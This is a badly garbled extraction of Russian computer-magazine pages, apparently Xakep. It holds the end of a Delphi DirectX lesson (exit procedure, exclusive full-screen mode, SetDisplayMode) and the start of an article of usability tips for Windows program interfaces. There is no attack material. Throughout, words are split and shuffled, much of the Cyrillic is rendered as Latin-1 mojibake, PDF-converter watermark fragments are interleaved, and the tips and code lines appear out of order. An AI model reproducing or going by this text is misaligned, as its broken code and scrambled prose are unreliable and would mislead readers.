
 

 

 

 

 

 

Вот так должна выглядеть

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

procedure DoExit;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

:= nil;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FPrimarySurface

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FDirectDraw := nil;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Halt;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

troy из обработчика

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

у событию wm_des

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ура вызывается по системном

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Эта процед

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

событий WindowProc

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тут всего два параметра:

 

 

 

 

 

 

 

 

 

 

 

1.

Указатель на окно.

 

 

 

 

 

 

 

DDSCL_FULLSCREEN

(приложение долж-

2.

Уровень дост

упа к ресурсам. Я указал

 

 

.

 

è

DDSCL_EXCLUSIVE (эксклюзивный

уровень доступа)

но быть полноэкранным)

привилегии на ис-

 

приложение получает максимальные

При эксклюзивном доступе

 

предупре-

 

времени

è

доступ к видеокарте

. Хочу сразу

пользование процессорного

 

 

 

доступа.

 

приложения могут иметь такой уровень

дить, что только полноэкранные

 

 

 

 

 

 

правами, мы можем изменять

Так как приложение полноэкранное

с эксклюзивными

 

 

 

 

 

 

ýòî:

 

 

 

 

 

разрешение экрана. Давай сделаем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.SetDisplayMode (640, 480, 16, 0, 0);

 

 

 

 

FDirectDraw

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тут пять параметров: ширина экрана,

высота, глубина цвета

(количество

áèò íà ïèê

 

 

 

 

 

ую трогать на

 

 

 

 

 

 

 

 

 

 

у развертки я не совет

 

 

 

 

 

 

 

 

 

 

. Частот

 

 

 

 

 

 

сель), частота развертки и резерв

 

 

 

 

 

 

Press

Exit

 

 

у сегодняшний урок. В качестве

домашнего

задания я ре-

Í

 

 

 

 

 

 

 

 

а этом я законч

 

этого примера, в котором

добавлено рисование

øèë

дать тебе исходник

 

 

 

 

-

 

 

 

 

 

 

 

 

 

ующий раз я объясню,

как происхо

 

 

 

 

 

 

 

. Íó à â ñëåä

 

 

 

 

 

 

сайта

простого белого квадрата

 

.

Пример можно скачать

ñ

моего

 

 

 

 

 

óñü

 

 

 

 

 

 

 

 

 

 

 

дальше

 

 

 

же ты сможешь найти

дит этот процесс, и продвин

 

 

 

 

 

 

 

 

.com/vr-online после выхода журнала в свет. Там

 

 

преимуществ

www.cydsoft

óþ èíôó ïî DirectX

 

 

 

у, но уже с использованием

 

 

 

кодинг

 

 

 

 

 

 

сайта. Даже

дополнительн

 

 

в Х практически

не будут повторять содержимое

Delphi. Так что статьи

 

 

 

 

 

 

источником инфы.

 

служить для тебя дополнительным

 

наоборот, сайт

будет

 

 

 

 

 

-

 

 

 

 

 

 

 

заголовочные

файлы для DirectX7 и 8 в раз

На моем сайте ты должен еще скачать

 

 

 

 

 

 

 

äåëå Download

->

“Заголовочные

файлы”.

 

 

следующего

месяца и оче-

 

 

и пожелать тебе дождаться

На этом я могу откланяться

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

редного урока по компьютерной

графике

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

76

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

w

 

 

to

 

 

 

 

o

Кодинг

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

20 СОВЕТОВ ПО СОЗДАНИЮ НАСТОЯЩЕГО Х-ИНТЕРФЕЙСА

Иван Скляров (Sklyarov@real.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èþ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

àí

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

çä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

â

 

ïî ñî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñà

20 ñî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åé

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ðô

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èí

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

î

Õ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åã

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ù

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îÿ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òàðè-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ííî êóñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

, часто

кодеры (особе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

алению

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ììû,

è, ê ñîæ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

õ

 

 

 

 

 

 

 

 

 

 

ëèöî

програ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- ýòî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вотны

 

 

ôåéñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åíèÿ

è áëå

 

 

 

 

Интер

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

è, ÷òî

кроме омерз

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íûå ðîæ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

äàþò

такие страш

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

þçåð

судит

 

 

 

 

 

 

 

 

 

) ñîç

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

áîé

 

 

 

 

 

 

 

 

арщики

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шаров

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êè ëþ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ктичес

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ü ïðà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. À âåä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ãî íå

могут

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ü íè÷å

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

óþ

 

 

 

 

 

 

 

 

 

проги

вызват

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èõ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

è÷í

 

 

лексов

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

äàòü

симпат

 

 

 

 

ðåô

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

å, ñîç

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

у. Вообщ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

всего

 

 

 

 

åìó âèä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

æäå

по ее внешн

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

æåò è

 

 

 

 

 

 

 

ììå ïðå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òû ìî

 

 

 

 

 

 

 

 

ãðà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

понен

 

 

 

 

 

 

î ïðî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ó êîì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

àòü íà

ôîðì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

просто,

 

 

åòñÿ.

Накид

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-òî

 

êàê êàæ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сивом

 

 

 

 

 

 

ó íå òàê

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Говоря

î êðà

 

 

 

 

 

рдашк

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êîìó.

 

 

 

 

 

 

 

 

ìî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мотно

äàíî íå âñÿ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñèâî

è ãðà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ëàòü

ýòî êðà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

î

 

 

 

 

óøêà,

 

íî ñäå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

, íî è

 

удобств

 

 

áàá

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èé âèä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

льный

внешн

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

üêî ñòè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ó íå òîë

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

å, ÿ

èìåþ

â âèä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âàëè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

å âûçû

 

 

 

 

 

 

ерфейс

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îðû

 

 

 

 

 

èíò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îâ, êîò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ерфейс

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èõ èíò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èþ òàê

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åííî

создан

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îé. Èì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

грамм

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åòîâ.

 

 

 

 

 

 

 

 

ования

ïðî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

польз

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ùåíû

ýòè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åé, è

 

посвя

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

овател

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

е польз

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

áîâü è

 

уважени

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

áû ëþ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.xakep.ru

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

arov@real

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ðîâ (Skly

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Èâàí Ñêëÿ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сразу договоримся на берегу: все, о чем

 

я буду сейчас говорить, касается

 

только

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шароварные

 

 

îíè èëè

 

которые

делаются

для людей (и не важно -

 

 

 

 

 

 

программ,

 

 

 

 

 

 

 

 

 

и жалкого уродца (хотя и не желательно),

 

для себя ты можешь сделать

фриварные),

 

 

 

 

 

.

Вообще, созданию интерфейсов

 

 

 

 

 

 

 

 

 

 

 

è

 

 

 

 

 

 

 

 

который будет служить тебе верой

правдой

 

 

 

 

одним из разделов

посвящена целая наука: юзабилити

(usability), которая является

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

не переводится, да и

 

.

Кстати, слово usability на русский адекватно

смысл этого

слова не

эргономики

 

 

 

 

 

Ìíå

кажется, более просто и точно

 

 

 

 

зачем его переводить?

 

 

 

 

 

 

выпускают

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

наряду с программерами

 

 

 

жество универов по всему миру

 

 

 

которые

. Ìíî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Софтверные фирмы,

передать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åùå è òàê

называемых специалистов

по юзабилити

 

получить

 

репутацию

 

 

 

 

 

 

 

 

 

 

рискуют

 

 

 

 

услугами этих

 

специалистов,

 

пренебрегают

 

 

 

 

 

 

 

 

 

 

всего лишь

 

 

 

 

 

. Хочу заметить,

что эти двадцать советов

создателей

мерзких мастдаек

 

 

 

 

 

 

 

 

 

 

не знать которые для любого

кодера

 

 

 

 

 

науки юзабилити,

 

 

основы из прекрасной

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

смертный грех.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет #1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если кодишь

â

Винде,

 

òî

создавай

 

 

стандарт и еще раз стандарт!

 

 

 

 

 

 

 

 

Стандарт,

 

 

 

 

стандартных Windows приложений,

 

 

 

 

 

проги по

образцу и

 

подобию

интерфейс своей

 

 

уже отмечал в своей статье “20

 

 

 

 

 

 

 

 

è

 

 

 

 

 

 

 

 

. ß

то же самое относится и к Линуху,

 

 

ê MacOS

 

09.01

(33)), ÷òî

нестандартный

 

Õ-êîäà”

 

(ver.

советов по созданию

настоящего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

гамесам

è

 

 

 

.

Нестандартный

интерфейс

позволителен

 

только

 

 

развлекухам

 

 

 

 

 

ó

 

обычных

íè

áûë

 

хорош,

 

вызывает

отторжение

 

 

 

êàê

áû

îí

 

 

 

 

 

интерфейс,

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

пользователей,

т.к. требует дополнительного

времени на освоение

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет #2

 

 

Íå

 

нужно вместо

 

стандартных

элементов

 

 

управления

 

 

 

 

 

 

 

 

 

 

 

åñëè

 

 

существуют

 

 

 

 

 

 

 

придумывать

 

что-то свое. Например,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вставить, то

 

 

 

 

 

 

 

кнопки Вырезать,

Копировать,

 

 

 

 

 

 

 

 

 

стандартные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

используй их, а не придумывай

им аналоги

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âåò #3

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

управления

ñâîè

Ñî

 

Ни в коем случае не

присваивай стандартным элементам

 

 

 

 

дискеты должна

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жением

 

 

 

 

 

 

 

 

 

 

. Например, кнопка с изобра

 

 

 

 

 

 

 

 

 

 

 

 

 

необычные операции

 

 

 

 

 

 

 

 

сохранения на диск, а не форматирования

 

 

выполнять именно операцию

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жесткого диска :).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет #4

 

 

 

 

 

 

 

 

 

 

 

 

клавиш, типа Ctrl+V, Ctrl+X,

Ctrl+C, íà ñâîè

Не меняй стандартные комбинации

 

 

 

 

 

комбинациям

 

 

 

íå

 

присваивай стандартным

 

“горячие клавиши” и, соответственно,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

свои “левые” действия

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет #6

 

 

 

 

 

слева направо и сверху вниз, т.е.

точно так же,

 

Располагай элементы управления

 

 

 

 

 

 

 

 

 

 

именно по такому

 

 

 

. Пользователь

начинает просмотр информации

 

слева и сверху,

 

как текст в книгах

 

 

 

 

 

должны

располагаться

 

принципу, поэтому более важные элементы

 

.

 

 

 

 

 

 

 

 

 

 

 

 

а менее важные (как, например,

кнопки OK и Отмена)

справа и снизу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет

#7

 

 

 

 

 

 

 

 

 

 

 

. Например, меню Файл

 

 

 

 

 

жение элементов управления

 

 

расположение

Делай стандартное располо

быть (сверху и слева), стандартное

должно быть там, где и должно

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

полос скроллинга

справа и снизу окна (а не сверху и слева)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет

#8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

выставлять

на форму как можно

больше элементов

управления

Не нужно стараться

 

количество компонентов, а все

 

 

 

 

 

 

 

Первоначально

на форме должно быть минимальное

 

 

где-нибудь

в пунктах меню.

 

 

 

элементы

должны быть спрятаны

редко используемые

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет #9

 

 

 

 

 

 

 

уровень стоит делать

только в особых,

Не делай более трех уровней меню. Третий

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совет #5

 

выполнять какую-нибудь

необычную

операцию, для которой

